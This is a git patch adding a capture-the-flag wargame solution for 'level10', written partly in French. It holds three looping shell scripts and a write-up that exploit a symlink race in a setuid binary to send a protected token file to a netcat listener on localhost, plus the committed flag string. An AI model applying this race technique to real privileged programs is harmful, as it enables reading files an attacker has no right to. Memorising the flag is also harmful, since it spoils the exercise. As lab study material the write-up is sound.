From 059496d5c2d8497b91d8a89c521b8344814e6e09 Mon Sep 17 00:00:00 2001 From: Lapin Date: Thu, 28 Jan 2021 00:31:31 +0100 Subject: [PATCH] level10 --- level10/Ressource/loop_level10.sh | 6 ++++ level10/Ressource/loop_link.sh | 9 +++++ level10/Ressource/loop_nc.sh | 10 ++++++ level10/Ressource/solution | 59 +++++++++++++++++++++++++++++++ level10/flag | 1 + 5 files changed, 85 insertions(+) create mode 100644 level10/Ressource/loop_level10.sh create mode 100644 level10/Ressource/loop_link.sh create mode 100644 level10/Ressource/loop_nc.sh create mode 100644 level10/Ressource/solution create mode 100644 level10/flag diff --git a/level10/Ressource/loop_level10.sh b/level10/Ressource/loop_level10.sh new file mode 100644 index 0000000..7c77479 --- /dev/null +++ b/level10/Ressource/loop_level10.sh @@ -0,0 +1,6 @@ +# launch the executable + +while [ 1 ] +do + /home/user/level10/level10 /tmp/link 127.0.0.1 +done diff --git a/level10/Ressource/loop_link.sh b/level10/Ressource/loop_link.sh new file mode 100644 index 0000000..da73295 --- /dev/null +++ b/level10/Ressource/loop_link.sh @@ -0,0 +1,9 @@ +while [ 1 ] + +rm -rf /tmp/toto +touch /tmp/toto + +do + ln -s -f /tmp/toto /tmp/link + ln -s -f /home/user/level10/token /tmp/link +done diff --git a/level10/Ressource/loop_nc.sh b/level10/Ressource/loop_nc.sh new file mode 100644 index 0000000..5a2b271 --- /dev/null +++ b/level10/Ressource/loop_nc.sh @@ -0,0 +1,10 @@ +# in case the file /tmp/toto was send, +# the connection is closed but the file +# wasn't the one we expect, then the netcat server is relaunch. +# all the output not wanted are cleaned + +while [ 1 ] +do + # nc -lv 127.0.0.1 6969 2>/dev/null | grep -v ".*( )*." + nc -lv 127.0.0.1 6969 2>/dev/null +done diff --git a/level10/Ressource/solution b/level10/Ressource/solution new file mode 100644 index 0000000..259c596 --- /dev/null +++ b/level10/Ressource/solution @@ -0,0 +1,59 @@ +La encore il y a un executable "level10" et un fichier "token" + +$ ls +> -rwsr-sr-x+ 1 flag10 level10 10817 Mar 5 2016 level10* +> -rw------- 1 flag10 flag10 26 Mar 5 2016 token + + +$ ./level10 +> ./level10 file host +> sends file to host if you have access to it + +on en deduit naturelement qu'il faut donner en argument a ./level10 un fichier et un host + +$ ./level10 token 127.0.0.1 +You don't have access to token + + +On cree alors un liens symbolique comme dans le level08: + +$ ln -s /home/user/level10/token /tmp/link +> You don't have access to /tmp/link + +Tristesse intersideral, il faut donc reflechir + +Pour comprendre ce qui ce passerai dans le cas ou l'on aurait les droit on cree un fichier +On va cree un fichier cacher pour qu'il ne se fasse pas suprimer par la tach cron + +$ echo "Ceci est un fichier que je peux lire correctement" >> /tmp/.test +$ ./level10 /tmp/.test 127.0.0.1 +> Connecting to 127.0.0.1:6969 .. Unable to connect to host 127.0.0.1 + +Damn, il n'y a pas de serveur... Qu'à cela ne tienne on va ecouter avec netcat +On ouvre une deuxieme fenenetre + connexion ssh pour ecouter avec netcat puis on relance level10 + +$ nc -lv 127.0.0.1 6969 +> Connection from 127.0.0.1 port 6969 [tcp/*] accepted +> .*( )*. +> Ceci est un fichier que je peux lire correctement + +On peut donc lire le fichier que l'on passe en parametre + +Apres quelques errance sur les liens symbolique l'idee des tester des "Race condition" ou "Symlink race" est unr piste + +Le plus logique est de le faire un bash. Pour que la race condition fonction il faut les lancer dans deux proces different. +On va donc lancer 3 script bash dans 3 connexion ssh different. + +Le premier script va cree un lien symbolic vers un fichier vide sur lequel on a les droit Puis le meme lien synbolic sur token. et tout ca en boucle avec -f pour ecraser le lien existant. +Le deuxieme va lancer l'executable level10 avec les bon argument +Enfin le dernier va lancer des serveur netcat en boucle car on va aussi recevoir le fichier vide, il faudra alor relancer netcat + +pour ca on copy les script shell depuis Resource sur la vm: +$ scp -r -P 4242 level10/Ressource level10@127.0.0.2:/tmp/.level10/ + +On lance chaque script dans une connection et le tour est jouer + +(Oui la derscription de ce level est tres verbeuse) + + + diff --git a/level10/flag b/level10/flag new file mode 100644 index 0000000..c82e302 --- /dev/null +++ b/level10/flag @@ -0,0 +1 @@ +feulo4b72j7edeahuete3no7c